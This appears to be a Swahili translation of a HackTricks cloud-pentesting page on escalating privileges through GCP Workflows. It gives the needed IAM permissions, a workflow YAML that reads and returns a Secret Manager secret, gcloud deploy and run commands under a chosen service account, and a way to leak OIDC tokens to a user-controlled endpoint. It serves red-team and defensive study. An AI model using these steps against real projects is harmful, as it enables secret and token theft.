GCP - Workflows Privesc

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Workflows

Basic Information:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Afaik haiwezekani kupata shell yenye ufikiaji wa metadata endpoint inayoshikilia akidi za SA za SA iliyoshambuliwa kwenye Workflow. Hata hivyo, inawezekana kutumia vibaya ruhusa za SA kwa kuongeza vitendo vya kutekeleza ndani ya Workflow.

Inawezekana kupata nyaraka za viunganishi. Kwa mfano, hii ni ukurasa wa kiunganishi cha Secretmanager. Katika upande wa sidebar inawezekana kupata viunganishi vingine vingi.

Na hapa unaweza kupata mfano wa kiunganishi ambacho kinachapisha siri:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Sasisha kutoka CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Ikiwa huna ufikiaji wa wavuti, inawezekana kuanzisha na kuona utekelezaji wa Workflow kwa:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Unaweza pia kuangalia matokeo ya utekelezaji wa awali kutafuta taarifa nyeti

Kumbuka kwamba hata kama unapata kosa kama PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... kwa sababu huna ruhusa hiyo, workflow imeundwa.

Leak OIDC token (na OAuth?)

Kulingana na nyaraka inawezekana kutumia hatua za workflow ambazo zitatumia ombi la HTTP na token ya OAuth au OIDC. Hata hivyo, kama ilivyo katika kesi ya Cloud Scheduler, ombi la HTTP lenye token ya Oauth lazima liwe kwa mwenyeji .googleapis.com.

Kwa hivyo, ni uwezekano wa kuvuja token ya OIDC kwa kuashiria mwisho wa HTTP unaodhibitiwa na mtumiaji lakini ili kuvuja token ya OAuth unahitaji kupita kwa ulinzi huo. Hata hivyo, bado unaweza kuwasiliana na api yoyote ya GCP ili kutekeleza vitendo kwa niaba ya SA ukitumia ama viunganishi au maombi ya HTTP yenye token ya OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Kwa ruhusa hii badala ya workflows.workflows.create inawezekana kuboresha workflow iliyopo tayari na kufanya mashambulizi sawa.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.